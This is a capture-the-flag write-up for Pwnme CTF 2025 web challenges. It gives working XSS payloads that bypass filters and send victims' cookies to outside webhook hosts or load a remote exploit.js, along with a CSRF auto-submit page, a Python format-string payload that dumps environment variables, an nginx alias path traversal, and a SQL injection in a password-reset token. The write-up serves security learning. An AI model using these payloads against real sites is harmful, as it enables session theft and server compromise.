Pwnme CTF 2025 Writeup
- Published on
Hack the Bot - 1
Vulnerability
XSS on search input box with the following restriction:
- Split by
/[^\p{L}]+/u
and any words in the result cannot shown in the page - Cannot use any uppercase characters
function searchArticles(searchInput = document.getElementById('search-input').value.toLowerCase().trim()) {
const searchWords = searchInput.split(/[^\p{L}]+/u);
const articles = document.querySelectorAll('.article-box');
let found = false;
articles.forEach(article => {
if (searchInput === '') {
article.style.display = '';
found = true;
} else {
const articleText = article.textContent.toLowerCase();
const isMatch = searchWords.some(word => word && new RegExp(`${word}`, 'ui').test(articleText));
if (isMatch) {
article.style.display = '';
found = true;
} else {
article.style.display = 'none';
}
}
});
const noMatchMessage = document.getElementById('no-match-message');
if (!found && searchInput) {
noMatchMessage.innerHTML = `No results for "${searchInput}".`;
noMatchMessage.style.display = 'block';
} else {
noMatchMessage.style.display = 'none';
}
}
PoC
The following payload triggers an XSS by leveraging the oncontentvisibilityautostatechange
event and content-visibility: auto
CSS property:
https://hackthebot2-512f165761b6a6e8.deploy.phreaks.fr/?q=%3Cinput%20oncontentvisibilityautostatechange=confirm(1)%20style=content-visibility:auto%20type=hiddle%20%3E
Exploit
Constructing an exploit is challenging due to the imposed restrictions. The bot sets the cookie only after visiting the page, preventing direct fetching. We must wait and check periodically if the cookie is set. However, we cannot use setInterval
or setTimeout
(due to uppercase characters), nor can we use a busy-wait loop (while
), as it would block page.goto
from completing.
const page = await browser.newPage();
await page.goto(url);
if (url.startsWith("http://localhost/")) {
await page.setCookie(cookie);
}
Bypassing the restriction
To bypass these limitations, we can first load an external JavaScript file into the context. Since the transformation process does not alter the functions inside the external script, we can use restricted functions like setTimeout
.
# Raw paylaod
document.write(`<link rel=stylesheet href='//helpful-autumn-15.webhook.cool/?${document.cookie}'>`);
# Cannot use script, src, http, etc.
let temp='scriptxxsrc='.replace('xx', ' ');let temp2='scriptxx'.replace('xx', '');document.write(`<${temp}//idontknow.blackhat.day/exploit.js></${temp2}>`);
# Initial payload:
<input oncontentvisibilityautostatechange="let temp='scriptxxsrc='.replace('xx', ' ');let temp2='scriptxx'.replace('xx', '');document.write(`<${temp}//idontknow.blackhat.day/exploit.js></${temp2}>`);`);" style=content-visibility:auto type=hiddle >
# Scripe file:
setTimeout(() => {
fetch(`https://helpful-autumn-15.webhook.cool/?${document.cookie}`);
}, 5000);
http://localhost/?q=%3Cinput%20oncontentvisibilityautostatechange=%22let%20temp=%27scriptxxxxxxsrc=%27.replace(%27xxxxxx%27,%20%27%20%27);let%20temp2=%27scriptxxxxxx%27.replace(%27xxxxxx%27,%20%27%27);document.write(`%3C${temp}//idontknow.blackhat.day/exploit.js%3E%3C/${temp2}%3E`);%22%20style=content-visibility:auto%20type=hiddle%20%3E
Alternative Approach
I also saw some trick to bypass the uppercase restriction with iframe
+ srcdoc
+ html entity encoding
. It looks like the html entity encoded string will be automatically decoded first when using it in a JavaScript context parser like document.write
.
http://localhost/?q=<iframe srcdoc='%26%2360;%26%23115;%26%2399;%26%23114;%26%23105;%26%23112;%26%23116;%26%2362;%26%23115;%26%23101;%26%23116;%26%2384;%26%23105;%26%23109;%26%23101;%26%23111;%26%23117;%26%23116;%26%2340;%26%2340;%26%2340;%26%2341;%26%2332;%26%2361;%26%2362;%26%2332;%26%23123;%26%23108;%26%23111;%26%2399;%26%2397;%26%23116;%26%23105;%26%23111;%26%23110;%26%2361;%26%2339;%26%23104;%26%23116;%26%23116;%26%23112;%26%23115;%26%2358;%26%2347;%26%2347;%26%23101;%26%23111;%26%2353;%26%23102;%26%2348;%26%23113;%26%23104;%26%2397;%26%23102;%26%23117;%26%2353;%26%23120;%26%2353;%26%2348;%26%23107;%26%2346;%26%23109;%26%2346;%26%23112;%26%23105;%26%23112;%26%23101;%26%23100;%26%23114;%26%23101;%26%2397;%26%23109;%26%2346;%26%23110;%26%23101;%26%23116;%26%2347;%26%2339;%26%2343;%26%23100;%26%23111;%26%2399;%26%23117;%26%23109;%26%23101;%26%23110;%26%23116;%26%2346;%26%2399;%26%23111;%26%23111;%26%23107;%26%23105;%26%23101;%26%23125;%26%2341;%26%2344;%26%2332;%26%2349;%26%2348;%26%2348;%26%2348;%26%2341;%26%2360;%26%2347;%26%23115;%26%2399;%26%23114;%26%23105;%26%23112;%26%23116;%26%2362;'></iframe>
or
http://localhost/?q=<iframe srcdoc='<script>setTimeout((() => {location='https://eo5f0qhafu5x50k.m.pipedream.net/'+document.cookie}), 1000)</script>'></iframe>
Flag
PWNME{D1d_y0U_S4iD-F1lt33Rs?}
Say My Name
Flawed XSS Sanitization
- The user-controlled directly propagate to the attribute’s script context, therefore the
>
,<
sanitization is not useful. "
is escaped to\\"
which is vulnerable, because attacker could inject an additional\
to escape the added\
. By using this trick, we can break the“
context and achieve XSS.
def sanitize_input(input_string):
input_string = input_string.replace('<', '')
input_string = input_string.replace('>', '')
input_string = input_string.replace('\'', '')
input_string = input_string.replace('&', '')
input_string = input_string.replace('"', '\\"')
input_string = input_string.replace(':', '')
return input_string
@app.route('/your-name', methods=['POST'])
def your_name():
if request.method == 'POST':
name = request.form.get('name')
return Response(render_template('your-name.html', name=sanitize_input(name)), content_type='text/html')
</style>
<div class="image-container">
<img src="{{ url_for('static', filename='images/cat.jpg') }}" alt="cat">
<a class="text" id="behindthename-redirect" href='https://www.behindthename.com/names/search.php?terms={{name}}' onfocus='document.location="https://www.behindthename.com/names/search.php?terms={{name|safe}}"'>Hello {{name}} !</a>
</div>
PoC
\";alert(1);//
\";window.location=`//helpful-autumn-15.webhook.cool/?`+document.cookie;//
Exploit: Auto-focus + CSRF
The XSS is bound to the onfocus
event. So, if we want to trigger the XSS automatically, we need to use the #
anchor in the URL to achieve the auto-focus functionality because the a
tag has a very nice id
attribute.
<a class="text" id="behindthename-redirect" ...>
CSRF Exploit Page:
<html>
<body>
<form action="http://localhost/your-name#behindthename-redirect" method="POST" id="csrf-form">
<input type="hidden" name="name" value='\";alert(1);//' />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Got the admin token:
X-Admin-Token=214d57ee72f9fd4a24f9effaaa5f7a47
Python Format String Vulnerability
from flask import Flask, render_template, request, Response, redirect, url_for
def run_cmd(): # I will do that later
pass
@app.route('/admin', methods=['GET'])
def admin():
if request.cookies.get('X-Admin-Token') != X_Admin_Token:
return 'Access denied', 403
prompt = request.args.get('prompt')
return render_templ
Payload to retrieve the env variables:
prompt = "{0.__globals__[render_template].__globals__[Template].render.__globals__[os].environ._data}"
Flag
PWNME{b492b312612c741b3b6597f925f88198}
Additional Note
According to the challenge author, this challenge is essentially about encoding differentials, as explained in the following article. However, they forgot to escape the /
lol.
https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/
This exploitation works when you control two parts of the HTML code: one to inject a decoding escape sequence and the other to inject the payload. This allows escape characters like /
to be treated as normal code, e.g., ¥
in JIS X 0201 1976, while the attacker-injected "
regains its effect.
Here is the author’s solve: https://github.com/Phreaks-2600/PwnMeCTF-2025-quals/blob/main/Web/sayMyName/solve/solver.py
Hack the Bot - 2
I didn’t manage to solve this challenge during the game. I know it’s related to connecting to Chrome via the CDP remote debugging port. However, since the challenge doesn’t explicitly set the port using --remote-debugging-port
, I wasn’t aware that I could leak it from the browser’s user data folder.
Vulnerability
The setup of this challenge is that you can let the puppeter visit any website. And the browser is started in the following way. You goal is to read a local file under the source code folder.
const logPath = '/tmp/bot_folder/logs/';
const browserCachePath = '/tmp/bot_folder/browser_cache/';
const browser = await puppeteer.launch({
headless: 'new',
args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
});
Misconfiguration in Nginx
The Nginx configuration is misconfigured as follows, allowing for a one-layer path traversal: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/
http {
server {
listen 80;
location / {
proxy_pass http://127.0.0.1:5000;
}
location /logs {
autoindex off;
alias /tmp/bot_folder/logs/;
try_files $uri $uri/ =404;
}
}
}
With this vulnerability, we could read the content under the browserCachePath
path and remote debugging port is located at DevToolsActivePort
file.
Exploitation
Next, we can interact with DevTools through the CDP protocol using a WebSocket to read the file and exfiltrate its contents.
Here’s the exploitation script from player @TechnologicNick:
https://discord.com/channels/984864944707227769/1334271909419946034/1345804539193852007
Crackford
This is a website without many features. You can only create and log in to your account.
You must take control of the administrator account
Analyzing the Password Reset Token
The password reset token algorithm appears to be predictable, allowing us to reset the admin’s password. The goal is to understand how the token is generated (which is really hard).
The post request only contains the following field and it will return the password reset token associated with the account.
{"username":"-1","email":"[email protected]"}
nbswy8dp1buhk8dIfuys5y8pnv6dcnr7pr1f07sn1uq3gvcg
Here are some aspects that can be considered:
Field Factors
The token appears to follow a predictable pattern:
{"username":"-1","email":"[email protected]"} nbswy8dpgzAgq4Imnmw7mI7dn4wxymjwgn6fAv90jvcsAq9u1g {"username":"-1","email":"[email protected]"} nbswy8dpgzAgq4Imnmw70I7dn4wxymjwgr6fAv90jvcsAq9u1g {"username":"-10086","email":"[email protected]"} nbswy8dpgzAgq4Imnmw7qI7dn4wxymjwgv6fAv90jvcsAq9u1g
Changing the email length significantly increases the token length. However, the username does not affect it. (Good observation from the challenge author.)
Alphabet Analysis
- Replacing certain parts of the token with random characters sometimes returns a
500
error and other times a404
error. - This suggests that only a specific alphabet is used to generate the token.
- Replacing certain parts of the token with random characters sometimes returns a
Guess the Algorithm
Following the alphabet analysis, we can try to construct the used alphabet table.
def get_used_chars(input):
c_unique = set()
for c in input:
c_unique.add(c)
l = list(c_unique)
l.sort()
return l
chaine = "mfrggzdfmz7wq9Iknnwg987p0byx358u0v8h06dzp1ydcmr7gq97mnzyhfp7s0bxgy971mzsg3yhu6Iy048hk4d70jyxA880nvwgw97jnb7wmzI3mnrgcx9b1jbu1rkg1433sssIjrgu579qkfjfgvcvkzIvqwk91bwwc9Imfz7h32brgy8hyucxjzguk1cdkrdA"
print("".join(get_used_chars(chaine))) # 0123456789AIbcdfghjkmnpqrsuvwxyz
The alphabet’s length is 32, which means the token could be using the Base32 algorithm with a custom alphabet.
The later part could just following the challenge author’s writeup: https://github.com/Phreaks-2600/PwnMeCTF-2025-quals/blob/main/Web/Crackford/solve/README.md#reconstructing-the-encoding-algorithm
SQLi
Once we find the token generation algorithm, we know the format of the message of being encoded: email|id|PWNME CTF
.
During the token verification phase, the server would retrieve the id
field and look up in the database which leads to the SQL injection attack. For example, [email protected]|id' or 1--|PWNME CTF
returns a valid account.